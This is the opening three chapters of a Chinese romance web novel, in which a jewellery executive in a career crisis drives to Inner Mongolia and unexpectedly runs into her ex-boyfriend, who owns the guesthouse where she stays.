《草原限定[破镜重圆]》
1. 第1章
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飞机略过灯火通明的城市,落地瞬间带来一阵倏地失重震颤。
广播里传来机组人员礼貌播报:“感谢大家搭乘北方航空,x京的室外温度是23摄氏度,温度较大,请大家注意保暖。”
窗边,面容姣好的女人扯下蒸汽眼罩,眯着眼适应了下机舱大亮的光,扭头看向窗外。
正值黄昏,夕阳泼金一样挥洒,离开多年,这地方倒是美得一成不变。
“打扰一下,这是你的吗?”
身旁传来一道声音,虞蓝侧过脸,撞入双礼貌眼睛。
邻座穿着考究的青年正在开行李架,被她的登机箱挡住了去路。
“是。”
“那我帮你拿下来。”
“谢谢。”
女人的行李箱是只线条简洁优雅的象牙白Rimowa,像她人一样。
青年男人将它从行李架上取下来时,心里隐约闪过这个念头。
交接行李箱刹那,女人伸过来的白皙细腻的手背,青年又忽然犹豫,视线在上面顿了稍许:“很重,你提得动吗?”
要帮忙的意味明显。
“提得动,谢谢。”
女人接了行李过去,皎月似的脸被羊绒围巾遮了大半,挺直精致的鼻梁和那双没什么情绪、像蒙着薄雾森林湖泊的眼睛一闪而过,只给他留了一身风衣的背影。
青年心下怦然,又恨自己不会把握机会,意犹未尽地想再和她聊些什么,但人已经走远,连忙顺着这阵香风追过去。
虞蓝没有托运行李,几年的离去最后都叠拾在这一小方登机箱里。
好处是出机场很快。
虞蓝低头看手机,飞行模式一关,十几个未接电话,whatsapp和imessage红点更是刷不到头。她挑着回复了一条,顶头上司Sofia的电话立马就冲了进来。
“到国内了?”几个字,也能听出竭力克制情绪。
虞蓝应了声,Sofia听出她在人来人往的机场,让她找个安静地方跟她通话。
旁边就是咖啡店,但是虞蓝选了最近的消防通道。
电话那头,Sofia的语速快得割人:“我刚从上边下来,会上火山直接爆发了——就为你这次的米兰的外展。一塌糊涂,虞蓝!关键环节崩盘,合作方投诉雪片一样飞,刚才会议上那么一大个屏幕,投得全是对你对公司的投诉邮件,你知道这是什么概念吗!”
昏暗,带着灰尘、金属气的环境,虞蓝倚靠着冰冷的消防门,想点根烟,手已叩到了烟盒上,旋即想到这地方既禁烟她又没火机,无奈只能赤手空拳地听Sofia暴风般的责备。
“但这些都不是最恐怖的。”Sofia声音陡然压低,带着恐惧的颤音,“你疯了?你怎么敢当场扇GiovanniRossi一巴掌?!”
一长串的意大利名字一出,虞蓝都忍不住有点恍惚。如果是刚入职场的她,估计能和这位合张影都会欣喜如狂,荣幸挂在朋友圈置顶让所有新加她的甲方浏览膜拜。
他们这个圈是谁不知道这位米兰教父,四十岁作品问鼎高奢珠宝奖项,如今满头银发,却依旧几乎操盘了所有年度趋势发布会的定调,说是手握珠宝圈命脉也不为过。
电话那头Sofia得喘息都带着稍许压抑不住的恐惧。
“这么大的事情你不提前告诉我?让我从媒体那知道?我的天……你知不知道你扇掉的是什么?不是项目,不是我的脸,你是自己的前途!你在职场混这么多年了,犯这种糊涂?”
电话这头,虞蓝久久不吭声。
Sofia深吸一口气:“你有什么想说的吗?”
“我没有。”虞蓝打开手机,发现通知sofia噩耗的消息,一直因为网络延迟没能发出去。
她甚至觉得有时候有些东西就是命,辩解谁信啊。
她这么说,Sofia反而被气笑了。
“你是真行,就为了逞那三秒的痛快,那么多努力,就这么算了?”
这句话像针,猝不及防刺进了虞蓝刻意紧绷的神经。
在这个公司,或者说北美职场,吃过的苦受过的委屈打过的胜仗都电光火石般蹿过脑海;
“我没说算啊。”虞蓝苦笑。
Sofia哂了下,成年人很多话不说到明面上;那一巴掌扇出去就相当于事业休止符了,不是你说算不算就能行的。
“休个年假,等总部处理消息。正好你的团队最近在忙国内的工作,离总部这帮人远点,眼不见心不烦。”
虞蓝应了声好。
撂电话的前夕,虞蓝真挚轻声追道了句:“Sofia。”
“无论如何,感谢你在职场里教会我的一切。”
那头,Sofia宛若被电击:“快把嘴闭上,别说肉麻的,我没说要辞退你,要是这事我能决定,我恨不得你在这个公司干老干死,干成一个丑女人。”
虞蓝挽唇,几乎都能想到银发红唇的凌厉女人在办公室里来来回回踱步。
门外,男人捧着两杯咖啡找不到那道倩影。
虞蓝顺着走到地下车库,租了辆舒服的车,安全带刚绑上,辛可的电话就冲了进来。
“收到了邮件,说把核心业务调整暂时由Tiffany负责,你因为个人原因自请休假,然后暂代东亚团队,真的假的?”
虞蓝倒是没想到他们速度能这么快:“官方邮件都发出来了,还能有假?”
“不是他们要点脸吗?”辛可气得跳脚,“先甩给你根本干不完的业务让你短时间内完成,没想到你真干成了,他们就开始搞明面上恶心人的,他们怎么不说临米兰展前一周才通知整个团队的签证都没办下来,让你自己一个人拎箱子奔赴会场呢?支援也不给,连助理都是在巴黎现场招的大学生;米兰展厅所有的事情都是你一个人负责,特么把人当神仙用啊。”
虞蓝点燃根烟听辛可抱怨,停车场的凉沁阴森,白烟袅袅,让她莫名一阵心安。
别的没攒下,朋友倒是没走散。
“职场凶险,既来之则安之。”虞蓝给一切做了总结句,“再不我先带你们玩一周?”
辛可:“?”
虞蓝:“要求是x京周边,风景好,咱几个散散心。”
辛可:“什么时候?”
虞蓝:“现在。”
“......”辛可气笑了:“我发现你有时候真是神经病。”想一出是一出。
几年没回国,回来面临的第一事情是职业危机,想出的第一解决办法是出去玩。
也是,破职场,好人待不下去一秒。
挂了电话,虞蓝在这里坐了一会,等辛可发来一个民宿地址,架起手机,想也没想就上了高速。
一脚油门踩出去,飞驰的晚风在她耳边嗖嗖地过。
她烦躁地抓紧方向盘,车速快到耳边隐约有风爆裂。
但也只有这样才能散点垃圾情绪。
不知道跑了多久,久到眼前天色由暗到明,远到吉普车的油箱报警已经狂闪红灯。
x京市区远甩身后,虞蓝再抬头,已经有遍野绿色翻滚入眼。
路旁高立的金属指示盘,被日光晃出金线,明亮的几个大字——锡林郭勒盟。
几百公里,散心散到了草原来。
虞蓝盯着熟悉又陌生的地名,莫名一怔。
反应过来之后,一丝苦笑攀上唇角。
好巧。
她没来过内蒙,但是吃过这儿的奶豆腐、酸酸甜甜的沙果干、喝过掺着炒米的咸奶茶。
感情浓的时候,她会掰着手指头讲内蒙是她素未蒙面的第二故乡。
记忆里她还记得男人微震的胸膛。
嗤笑着评价她,“胡说。”
正想着,被日光晃着的金属牌底下倏忽晃过一道高大身影。
有人一身黑皮夹克,骑着高头大马迎面过来。
虞蓝眼眸一震,无意识地攥紧了方向盘。
男人由远及近,晒得黝黑的一张脸,从未见过的面孔。
对上她的目光,猛地一哂,腼腆地咧开一嘴大白牙,然后不好意思地快速打马穿过这段路。
虞蓝眉心陡然一松。
却紧接着,心里又不可抑制地浮出一股失落酸涩。
不是他。
耳边轰隆一声闷雷,将虞蓝震出了回忆。
一秒钟的时间,草原的雨像孩子多变的脸。雨线鞭子般噼里啪啦地抽打在车上。
虞蓝揉了揉眼,开车久了有点熏意,人有时候真是没道理,在一起时候闹得那么难看。
现在就算再见,就算是他,能如何?
连天气都没个准头,更何况复杂的人。
人家也许早就娶妻生子,整两个漂亮娃娃追着小羊羔满地跑了。
当务之急是怎么解决见底的油箱。
她摇下车窗,问怀里揣着鞭子的牧民,哪里有加油站。
牧民大叔脸上两团高原酡红,随手一指,她跑出二十多公里。
车跑得差点报警。
半路她才幽幽反应过来,那哪是高原红,那是醉醺醺的酒气。
沉闷雷声滚在她头顶。
虞蓝鲜少有这么狼狈的时候——被扫地出门,到了新地方也不受待见。
好不容易才找到加油站——
肌肉感十足的奔驰g500,高底盘上迈出一条笔直长腿,晃得正拿抹布揩油枪的蒙族阿姨一愣,往上抬眼,好半天才看见一张轮廓冷清的瓜子脸,被墨镜遮住大半,剩一截精致的下巴在外面,白得晃眼。
阿姨腹诽了下这么瘦的小姑娘竟然开了辆坦克似的车,随即略微蹩脚的普通话问她:
“98加满啊?”
虞蓝被突如其来的雨点砸得眯眼,蹙眉:“加满。”
半开的车窗上映着湛蓝的天,和内蒙的雨格格不入。
虞蓝侧身去捞副驾驶位的手机。
摁亮屏幕,只剩下一丝电。
消息框里是一小时前辛可发来的未读消息:[我都忘了,选了内蒙作为旅行地,你怕不怕遇见你那位前夫哥啊?]
虞蓝被戳了下,回了她俩字
[神
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经]
下一秒,手机电量红条彻底告罄。
一丝缥缈红线瞬间撤走,屏幕漆黑。
虞蓝还没缓过神来,就听车侧油枪咔哒一声架上,油站阿姨操着内蒙腔:
“姑娘,怎么付?”
虞蓝无奈:“手机突然没电了,你们这有地方借充电宝吗?”
“大荒野的收费站哪有那种东西。你要是有充电器,我这有插口给你,免费充。”
别说充电器,出来的太急,连钱包都没带。
虞蓝抿紧漂亮的唇。
大妈表情也逐渐尴尬,偷偷打量她。
年轻女人一身质地考究的白衬衫裙,车上窝了那么久,却几道褶皱都少有。
脚上踩着卡其色短靴。同色系的咖色皮带扎在腰间,因为瘦削还余出来一截。半抱着肩膀站在车旁,腕上滑着镶钻的方块手表,松垮随意。
不像没钱的样子。
大妈瘪嘴冲她挥挥手:“要不你就向问人借一点?”
手机都没电了上哪借钱。
大妈一努嘴,示意——后边那车。
虞蓝顺势看过去,一辆和她一样g500,线条利落,车窗半降。
视角受限,脸挡了个严实,但能看见一只劲厉紧实的蜜色小臂,松垮搭在车窗外沿。
指尖夹着支烟,烟灰积了一截。他没怎么动,只手腕极轻地、松垮垮地弹了两下。
是个男人。
准确的来说,是个在抽烟的年轻男人。
那就好说。虞蓝从口袋里取出烟盒迎着后面车过去,决定用两根烟解决问题。
草原小雨骤然变急,细密牛毛般挡人视线。
虞蓝遮着额头一路小跑,到了车窗前,才勉强能抬眼。
她腾出手礼貌敲敲:“你好?”
话音刚落,视线清明,自己也怔住。
驾驶位那位戴了副纯黑墨镜在脸上,露出一截高挺优越的鼻梁,视线冷冷拨过来,从她脸上扫过:“什么事?”
这回换成了虞蓝语噎,本来找帮忙的话堵在喉咙,硬生生道:“……没什么。”
男人两道眉峰往中间拢了拢,似是没听懂她要做什么,溢于言表的不耐。
“车抛锚了,重起火慢一点,耽误加油,过来跟你说一声。”
虞蓝深呼吸,一口气把事情扯圆。做戏做全套,还示意他着急就去旁边那个加油口排队。
男人循着她指的方向扫了一眼,皱眉的弧度没完全松开,似是不愿意麻烦,简短道:
“没事。”
说完,车窗阖上。
防窥玻璃漆黑如浓夜,像一把薄薄的刀,瞬间就将世界分割。
冷淡、疏离、轻描淡写。
虞蓝转回到油站大妈身边,大妈看她两手空空,惊愕道:“没借着?”
虞蓝抿唇不吭声。
大妈啧啧摇头,觉着不可思议,这么漂亮的姑娘,竟然还能在这种事上碰壁。
可见这世道上的人对钱多精明多警惕。
“那你往旁边稍一稍等下一辆?”
“不用。”虞蓝动作飞快,摘下来中指的古董鸡尾酒戒。
油站阿姨没反应过来,沉甸甸的冰凉戒托已然叩在她了掌心。
“这个值点钱,但是得麻烦您了。”
“啊?”阿姨怀疑自己听错了,视线几度逡巡掌心和戴着墨镜的女人之间。
这哪是值一点?
她认不得珠宝,但是认得镶边的金子。更别提上面那颗硕大透亮的宝石,就算是水晶也是上乘货。
“不是,这...”掂着手里的分量,油站阿姨一时间不知道接是好不接是好。
虞蓝转身上车,咔哒一声叩紧安全带,目光恰巧斜落在那枚戒指上,旋即没有半分犹豫地转走:“正好再跟您打听下旷野民宿怎么走。”
“旷野民宿....”油站阿姨还懵着,咀嚼了两句蓦然想起来,给她指了方向。“啊呀,那个地方都是有钱人去的,姑娘是是会挑地方旅游的嘞。”
人的行为总得和她的消费水平匹配,这姑娘一看就不差钱。
这么一想,油站阿姨心里轻松了不少,戒指也没那么烫手了。
虞蓝略一点下头表示感谢,隔窗远眺,浓云层叠重色,雨不知什么时候会停。
身后另一辆g500漆黑利落,车体厚实,宛若一只蛰伏猛兽,存在感过重。
虞蓝一脚油门,和它骤然拉开距离。
实在太可笑。
她幻想过很多种再遇见前任的情况,在机场,在商场,在学校校友聚会…
一切彬彬有礼的场合下,大家把酒言欢,问问对方在做什么,然后心里互相攀比,爱恨与不甘都交织在酒杯里,最后喉咙一滚,全都算了。
很体面。
但她从未想过还有这种可能,在草原,不属于她的地盘。
工作失意,满头蓬乱。
曾经轰轰烈烈相恋的男人,和她对视三秒,全然没认出来她是谁。
也是,时光荏苒,一晃五年,也早就该把她忘了。
2. 第2章
导航显示前方即将到达目的地,虞蓝拧了拧酸木的脖子,眼前一簇簇的蓝白祥云纹饰的蒙古包,顶上彩旗飘扬。
檐下,牛骨风铃铃铛响。
与其说是原汁原味的草原,不如说是蒙古风情的度假村。
虞蓝将车停好,推门,绿草如海。
脚甫一落地,就被绿色窸窣吞噬。
远处,有人冒着雨帘跑来:“虞小姐吗?”
虞蓝微微颔首默认,抬眼看清了来的人。
一个二十出头的内蒙小伙子,脸颊晒得黑红,咧出两行白牙,天生的热络。
“我是旷野民宿的,来接您。”
“伞您拿着,我给您搬行李。”
“谢谢。”虞蓝攥着微凉的木头伞柄,看小伙子的t恤一侧都被浇湿,不动声色地将遮挡向他倾斜。
虞蓝只有一个行李箱。
都仁很轻松地就抱了回来,一路上感觉雨小了不少。
甚至能腾出嘴欢快地跟虞蓝闲聊:“您自己来的吗?”
“还有几个在路上。”虞蓝道。
到店,都仁里揩了把额上残留的雨水,抬眸正好瞥见虞蓝正在收伞,衣角微湿。
这才诧异:“您浇湿啦!”
随即反应过来,受宠若惊地递过去纸巾,还给虞蓝倒了杯热水,指着沙发。
“姐你稍坐,我这就给您办入住。”
虞蓝:“没事。”
店内熏了艾草,有股暖洋洋的中药味道。
热水熨贴地顺进胃里,虞蓝开始打量这个民宿。
菱花白的墙面,配上黄杨木的复古斗柜前台,毛毡风的蒙古包和成吉思汗挂画。
侧壁挂着仿真的柴火炉,焰红小苗轻轻跳跃。
沿用蒙古包风格,辟出中古风家居。
虞蓝面前的墙上——
一把牛角弓高挂,胎弓细腻,筋弦柔韧。
旁边饰以漆黑油亮的牛皮箭匣,风情又威风。
很内蒙,店主有品。
虞蓝略顿下巴,在心里给出评价。
“您喜欢骑马射箭吗?”都仁过来送证件和房卡,看虞蓝正望着墙上的弓出神。
“我们老板还经营一个马场,教人骑射,您要是感兴趣,可以有空来玩。”
都仁想起女人方才为他撑伞,大包大揽地拍拍胸脯:“体验课不要钱。”
“我们在这边名声很大的!别说整个锡林郭勒盟,就是全国各地,也有不少慕名来学马术的。”
都仁以为她不信,把她领到另一面贴满照片的墙边。
“您看,这都是来过马场的人的留影。”
虞蓝扫到某个当红炸子鸡的脸:“还都是名人啊。”
“是啊,还有好多没照上的呢。”都仁骄傲。
“体育明星也有,游泳的那个谁,哎叫什么来着...”
虞蓝眯着眼端详:“怎么没见到你们老板?”
“他啊,不爱拍照,从来不出镜。”都仁皱皱鼻子,满脸可惜。“真是白瞎了那张脸。”
随即又满脸骄傲:“我们老板可帅哩,比这上面所有明星都帅,宽肩长腿的,跟男模似的。”
虞蓝觉着这小孩对整个民宿、马场、乃至老板有溢于言表的荣誉感和归属感,只笑笑不说话。
正想收回目光,视线却突然僵在一张照片的左下角。
哪年哪月,于锡林郭勒盟。
内容平平无奇。
但字却是虞蓝熟悉的。
锐利带钩,感情好的时候,她曾笑着点评过,果然字如其人。
“这是你写的?”
都仁被虞蓝突然冷肃的神情看得一愣,反应过来之后辨认了两秒,摇摇头。
“不是我,应该是我老板。”
“你老板?”虞蓝拧眉。
“嗯。”都仁点头,莫名感受到女人气场有些许变化。
“他人呢?”
“他今天有事进城了。”
不在店里。
虞蓝犹豫沉吟了两秒,还是开口。
“那他叫什么名字?”
“他——”
虞蓝掐紧手心。
拉长的语调好似踩在她脉搏上。
都仁还说出口,思绪就被短促的电话铃声搅散。
他瞥了来电人,嘿了一声。
这不说曹操曹操就到。
他用眼神笑盈盈地同虞蓝致歉,随即岔开腰,大呲呲地也不避人,电话就在她面前接。
“什么吩咐,老大。”
“啊?你一会就回?出什么事了吗?”
他情绪陡然激动,但电话那头却冷静、简短。
似是解释了什么,都仁的神情又放缓。
“好我知道了,你放心吧,有我在。”
挂了电话,都仁才想起来刚才正交谈一半,不是很礼貌。
遂羞赧地挠挠头:“虞小姐您刚才问什么来着,我给忘了。”
“没事。”虞蓝开口,音色哑得厉害。
“你们有事忙?”
都仁挠挠头:“我也没搞懂,临时又折返了,可能雨太大给拦住了?草原嘛,草原的天小孩子的脸。”
虞蓝点点头,拧过身。
脊背发麻,整个人都有点僵。
距离不远,在都仁电话那头开口的刹那。
虞蓝就知道他是谁。
男人声线磁沉,哪怕隔着冗杂的空气和电流,也是不容人忽视的分量。
更何况曾经许多个牵手漫步的晚上,这人就将唇瓣抵在她耳边辗转厮磨,声音摩擦蹿进耳道,像生了许多小触角,燥得人浑身发烫。
怎么可能不清楚。
那边,都仁一拍大腿,终于想起:“我要给您说我老板来着,他叫朝戈,是我们草原上最勇猛的汉子。”
“我给你看去年那达慕他的视频,第一神射手,我们整个锡林郭勒盟的门面。”
都仁兴致勃勃地翻相册。
虞蓝头脑过载不想看,脚却生了根。
直到给了都仁机会,将视频怼在她面前,大声解说:
“那天正赶上下雨,不过我们内蒙男人跑起马来,才不管什么下不下雨呢,兴致来了下刀子也得比。”
屏幕里,一群内蒙男人赤裸着上身,色彩鲜艳的蒙古袍被他们半褪在腰间,肆意袒露出紧实的肌肉和胸膛。
他们拥簇着其中一
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个,站到跑道起点,男人骑着高头大马,单手持缰。
雨水顺着他的脸庞和裸露的肩膀不断滑落,浸湿了他的攥着缰绳的手和弓弦。
似乎是感受到周围注视,男人胯下骏马仰蹄高高嘶鸣一声,踏得短草上冷雨四溅。
他双眸一凛,长腿紧夹马腹,策马疾驰。
风雨抽打在他的脸上,但他稳坐马上,精壮有力的大腿肌肉,仿佛极具生命力的粗壮树根,牢且稳地扎根土地。
他长指熟稔地从身后抽出箭矢,弓弦拉满,箭矢在弦上震颤。
众人屏气凝神。
印着蓝色祥云纹样的白色蒙古包上,草原狼的旗帜图腾在急风骤雨中猎猎作响。
男人薄薄的眼皮眯紧,松开弓弦,箭矢电光火石般冲破桎梏,撕破雨帘,正中靶心。
场边顿时爆发出巨大的掌声和欢呼声。
男人们纵马跑出百米远,又回来团团围着朝戈。
都仁沉浸在炫耀的兴奋中,冲虞蓝一挑眉毛:“怎么样,帅吧。”
虞蓝盯着视频里男人优越的侧脸,喉咙哽住。
许久,顶着都仁期待的目光,硬道:
“还好。”
若是对着别人,都仁定要反驳,这都一般你是谈过多帅的拿出来比比看。
但是眼前的女人美得不敢让人正眼瞧,她说的话还真不一定是假。
窗外乌云层峦,天裂出一道闷雷,雨水崩塌似地向外倾泻。
虞蓝想起来她和朝戈分开那天,也是这样类似的一个雨夜。
男人攥着她的手腕,视线阴沉晦暗,问她:“理由呢?”
...
胸口涩涩地堵着一口气,虞蓝深吸了一口气,再次环顾四周。
远处,有副黑檀木边框的画分外显眼。
虞蓝认得,davidherold的早期作品,于20年时在苏富比拍卖,她苦寻许久卖家无果。
竟然在朝戈手里。
他没有这类艺术收藏相关的爱好,这是为什么?
一些设想浮上脑海,虞蓝缓道:
“这画,你们老板的?”
都仁瞥了一眼那副他始终看不懂却贵得可怕的画,笑开:他对画没兴趣,应该是之前老板娘买的。”
虞蓝倏忽站定,仿佛被雷劈中:
“老板娘?”
都仁:“对啊。”
朝戈有女朋友了。
这个念头一出,虞蓝心头一阵酸涩。脑子正过载,就听院子里传来汽车引擎声。
都仁同她同时扭头去看,惊呼:“哎,回来了?这么快?”
说完,上前两步准备帮他们拉门。
玻璃门外,雨帘虽盛,但一男一女同撑一伞,背后是无垠草原。
男人挺拔落拓。
女人温柔小意。
美好得仿佛一幅静谧的田园风景画。
视线落到这幅画上的虞蓝,呼吸凝滞。
下一秒,她抓过方才都仁放在桌上的房卡,逃也似地往房间走。
朝戈进门,抖落伞上的雨水,正好瞥见转角处白衬衫裙一角,还没来得及细瞧。
雨花一样,倏忽就散了。
3. 第3章
草原仍下着雨。
男人推门进来,肩膀宽阔,挟着一阵浮动的潮湿。
都仁眼疾手快,帮忙扶着门,问:“哥,路上顺利吗?”
“嗯。”被叫“哥”的男人收起伞柄,伞在灌满风的雨里兜不住力,水流顺着男人矫健紧实手臂蜿蜒向下,他肩膀潮湿,连冷硬的侧脸都有雨线滑落。
都仁眼疾手快递了条毛巾,不解:“怎么打了伞还浇这样。”
朝戈颔首接过毛巾,眉棱微压,随手揩拭掉脖颈上的水,抿紧了唇,没有解释的意思。
视线向转角处瞥去,问:
“来客人了?”
都仁啊了一声,回头,刚才那副漂亮面孔早没了踪影。
“咦,刚才还在这跟我说话呢。”
一扭头,又瞥见大厅沙发边停落的白色行李箱。
“嘿,这走的得多急,连这都忘了。”
朝戈沉吟抿唇,问:“北京来的?”
都仁:“你怎么知道?”
朝戈身旁,一直没出声的女生突然道:
“这还用问?院子里停着车。”
大字明晃晃,京A的牌照。
都仁抻脖去看玻璃门外,惊叹:“我靠,大G啊。”
刚才雨帘太盛,从车上下来的小姐又昳丽得让人挪不开神。
他忙着接人,竟然丝毫没留意到这么个钢铁庞然大物。
“想不到啊,那么纤细一个姑娘,竟然开这么霸气的车。”
“女生?”朝戈眉棱微压。
“对!”都仁想补充一句长得特漂亮,但是瞥见朝戈身边还跟着个脸色阴沉,眼眶红肿的女生,识趣的闭了嘴,问:“哥,那个,这位是?”
“凌小兰。”男人应得简短又冷淡。
“阿爸的女儿。”
都仁微微睁大了眼。
内蒙人管父亲叫阿爸。但他们口中的阿爸,是朝戈的养父。
男人早年离异,四十多岁时候捡了个朝戈,父子二人相依为命。
朝戈长大之后,除了马场的生意,特意从一对当地夫妇手里盘下这家民宿,重新装修,嘴上说是拜托阿爸帮他管,实际上是给他置办个养老的地方,又有事情做又天天能听见钱袋子响。
可惜阿爸这两年身体不好,常年在城里住院,情况不容乐观。
刚才朝戈在电话里说他临时有事,今晚回来。
都仁下意识就以为是阿爸又进了icu。但没敢多问。
那现在看,眼前这位女儿,就是“事”了。
都仁对这个阿爸和前妻生的小孩没什么好感。
虽然从未谋面,但他这些年没少见到阿爸把钱往前妻那打。
内蒙汉子淳朴,总念叨着离婚时候孩子还小,受苦了。
钱攒着自己舍不得花,给前妻倒是一给一大把。
嘱咐她给小兰买好吃的,上兴趣班。
但也没见关系修复得多好,多次邀请,人家也从没来草原玩过。
这两年身体不好,也没人来探望。
都仁曾被阿爸拜托给她打电话,那边一个尖锐的年轻女声:“跟我有什么关系?”
现在又哭红了眼睛,也不知道是怎么回事。
“你也别哭了,已经没事了,先休息。”
都仁还在愣神,就听朝戈淡道。
“给她开一间房。”
都仁忙回神,在系统上操作一通。再抬头时候已经恢复酒店管家的职业热络。
无论女儿怎么样,阿爸对他们从来都耿直慈爱。
“阿爸的女儿就是我妹。我叫都仁,既然回家了,有事你就随时吩咐我。”
凌小兰正眼都看仁推过来的房卡,撇嘴,仰头向身旁高大的男人:
“既然说了是我家,我难道没有个固定的房间住?”
都仁尬笑都僵在脸上。
朝戈闻声,眸光向她斜落,冷声提醒。
“这是你第一次来。”
凌小兰一触及朝戈的眼神,就有些打怵,后悔提问。
来锡林郭勒盟开车这一路,男人一声不吭,侧颜冷硬,只一只骨节分明的大手抵着方向盘,寒暄都少有。
连撑一把伞时都离她老远。
她本来就心里没底。
这会这么仰头看着,更是直面男人漠然的脸色。
牢固坚硬,像一堵不透风的铁墙。
凌小兰怕他,不满也不敢发作,只好瘪嘴抱怨。
“你可答应我爸照顾好我的。”
都仁忙出来打圆场:“小兰妹妹,再不,你住阿爸的房间?”
正好阿爸在医院,房间正空着。
“我跟老头住同一间房算怎么回事啊!”
凌小兰不敢怼朝戈,正好都仁来撞到枪口上。
都仁被她的态度噎得半死:“那你说,你要住哪?”
“我要住那个带半圆玻璃的那间。”
凌小兰指向性很明确。
她刚才在外面就看见了,那间屋半面草原景,大落地窗,好漂亮好阔气。
都仁尴尬:“那间已经有人住了。”
“那怎么办!”
“给她安排旁边的一间。”朝戈强压着眉宇间的不耐。
都仁都能看出他想尽快将人打发掉。
但凌小兰看不出来,只得意地向都仁挑眉。
-
虞蓝匆忙刷开房卡,甩上门,在镜子面前好久试图冷静。
但心脏咚咚,震得她耳廓里都麻木眩晕。
窗外雨声轰隆,天地被浇成一片深蓝。
虞蓝脑海里止不住的浮现起来,当年她和朝戈分开,也是诸如此类的雨夜。
她半夜闪身到他楼下,发了消息叫他下来。
没出半分钟,男人宽肩窄腰的身影就从宿舍门撞进视野。
伞也没打,大步向她走来。
男人冲锋衣被雨水浸得发沉,却丝毫不显狼狈,反倒把腰腹的线条勒得愈发利落。
远远站着,就有股沉默的压迫感漫过来,让这乱糟糟的雨夜都好像被他镇住了几分。
“傻站在这干什么?”不知道躲雨的?
朝戈蹙眉,伸手想把她拽近点,好撑开伞面。
掌心落了个空。
虞蓝刻意避过,抱臂隔出距离。
嗓音冰凉:“不用了,我是来告诉你,我们就到这了。”
男人的手僵在半空,黑眸沉沉地落她脸上。雨丝粘在他睫毛上,他没眨,只喉结滚了滚,声线比雨还冷:“什么意思?”
“我说分手。”虞蓝连他的眼睛都不愿看,语气分明:“我们到此为止。”
风雨太大,伞兜不住半点。斜打的雨线将男人攥着木质伞把的手浇得尽湿,雨线滑过青筋绷紧的手背,毫不留恋地向下。
雨夜将男人深邃的眉眼浇得一片模糊,雨声吵到了熙攘的程度,半晌,虞蓝听见其中渡来一句冷沉的声线。
“理由呢?”
雨浇得她浑身快湿透了,虞蓝答都不想答,转身就走。
却被男人一把攥住手腕。
雨线顺着他手臂划到虞蓝皮肤上,冷得她需要咬紧牙关才能止住颤。
“不喜欢了要什么理由。”
朝戈没说话,下颌线绷得像拉满的弓弦,指腹死死扣着她腕骨。雨顺着他棱角分明的脸颊往下淌,滴在她手背上,凉得刺骨。
虞蓝挣酸了手臂也挣不开,终于抬眼,撞进他深不见底的黑眸里,语气刻薄起来:
“非要听?那我订婚了算不算?朝戈,你一个从内蒙草原出来的,跟能给我家搭线的富家公子比,你觉得我该选谁?”她嘲讽地扯了扯嘴角。
“我们这种人——无论在外面怎么玩,最后也得为自己考虑。看清了吗?我们不是一个世界的人。”
说完,趁着男人愣神的功夫,扯回自己的腕子,揉都没揉,踏着雨就往外走。
高靴跟踩进雨洼,溅起来急匆匆的泥水。
男人定在原地,没追。
她则车门一关,头也不回。
急驶而过的玻璃窗闪过男人僵硬的侧影。
冲锋衣湿透贴在身上,勾勒出紧实的脊背线条,像一尊被雨浇透的沉默石像。
虞蓝拗着脖子没侧眸,心里想的是,闹得僵成这样。这辈子是没法再平静相见了。
好在估计也不会再见了。
这段回忆太过黏腻阴沉,虞蓝再抬起头,看向面前镜子的时候,视线生生顿了好几秒。
半晌,才反应过来,镜子里这个顶着一夜没睡的黑眼圈,被雨浇过蓬乱的头发,苍白的下巴的女人。
是差点和前男友和他现任打过照面的自己。
和镜子里乱蓬蓬的自己对视半分钟,虞蓝懊恼地狠抓了两把头发,还是没忍住,爆了粗口。
“靠。”
这算什么事情。
-
走廊。
都仁扛着凌小兰的两个巨重无比地行李箱,风尘仆仆地把人送进房间。
没想到凌小兰刚进去一秒,就尖声抱怨:“你搞没搞错,我要睡新的床品!”
都仁肩膀都快酸断了:“我们这床品都是现换的。”
“我要新的!新的懂不懂?”
“...行。”
“对了,我怕蚊子咬,你给我拿个电蚊香。”
“还有这个沐浴露,你帮我换成欧舒丹的,别的我用不惯。”
看着凌小兰翘着手指把东西丢一地,都仁感觉脑子里有雷劈下来。
酒店大厅,朝戈坐在沙发擦拭淋湿的衣物。手畔安安静静,是一只白色的日默瓦行李箱。
侧面绑着一只憨态可掬的玩偶企鹅。
男人抿平唇角,正欲沉心想事,小腿蓦然一痛。
软沙发无处安放的长腿险些将回来取东西的都仁绊倒。
“你做什么一趟一趟的?”朝戈蹙眉。
都仁抽抽着脸:“哥,这位小兰妹妹是干什么来的啊?”领导视察事情也没这么多啊。
男人默声听他说完,浓眉微蹙,撂下短促干脆的一句:“你做你的事。”
随即迈开绷在迷彩裤里的紧实长腿,向里侧房间走去。
都仁看着朝戈的眼神宛若膜拜。
谢天谢地,和凌小兰相比,给进去的女士送箱子这事,简直是给天使送蟠桃。
神仙差事。
-
虞蓝冷静了很久,才想起来给死掉很久的手机充电。
她僵着身子翻出酒店的备用充电器,刚充了五分钟,手机甫一开机,就有电话进来。
虞蓝瞥了眼备注,揉了两把头发接起。
“我的祖宗,怎么打你电话都打不通,你到哪了?“
电话那头是辛可。
“我到了。”
“那就好。我们还要一会。”
“我刚刷新闻才知道,你在意大利给了人家珠宝展的裁判一巴掌,真的假的?”
虞蓝心不在焉地嗯了声。
辛可:“你打他干嘛?”
虞蓝废了好大力气把窗推开,凉沁的晚风霎时间把她的长发吹散。
“他想睡我。”
虞蓝被风吹醒了些,想下床洗个脸,视线逡巡了两圈身边空无一物,才意识到她把行李箱落在外面,只好歪头夹着手机,拆了盒酒店提供的肥皂。轻飘飘解释。
“展览候场的时候托人来找我,问我愿不愿意晚上回去跟他深入交流,他好仔细端摩下我的‘作品’。”
“我去他妈...”电话那头,辛可骂得很脏。
“我看你是打轻了。那裁判都快比你爸大一轮了,头他妈都秃了,还敢出来潜规则。也不掂量掂量自己几斤几两,还敢找到你头上----”
“找到谁的头上都不行。”虞蓝出声打断。
“就是!”辛可咬牙切齿,有些老男人就是恨不得把这世上所有没有权势的小女孩嚼碎了拌饭吃。
虞蓝甩甩手上水珠,没道出那句找她睡觉之外,还有些别的话。
如果只是什么狗屁鉴赏一下作品,她还能皮笑肉不笑地靠着所谓职场素养顶一顶,把话扔回去。
譬如当时那个煞笔晚宴众人的面问她单不单身,被她怼回去:“这和本期珠宝作品有关?”
“当然有关,有些设计师不谈恋爱会不会影响创作灵感产出。”
“那不好意思,我几年没恋爱了,不影响我的作品到贵公司来参展。”
